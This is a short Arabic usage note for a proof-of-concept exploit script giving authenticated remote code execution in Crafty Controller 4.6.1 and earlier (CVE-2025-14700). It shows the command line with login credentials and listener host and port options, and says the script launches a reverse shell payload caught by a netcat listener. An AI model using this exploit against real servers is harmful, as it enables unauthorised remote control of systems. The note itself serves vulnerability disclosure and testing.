
إثبات الفكرة لـ RCE مع المصادقة في Crafty Controller <= 4.6.1
الاستخدام :
./CVE-2025-14700.py --url <crafty_controller_host> --login <username> --password <password> --lhost <listener_host> --lport <listener_port>
يستخدم هذا السكريبت netcat لإعداد مستمع بعد تشغيل حمولة الصدفة العكسية، ولن يعمل إذا لم يكن لديك netcat على جهاز المستمع.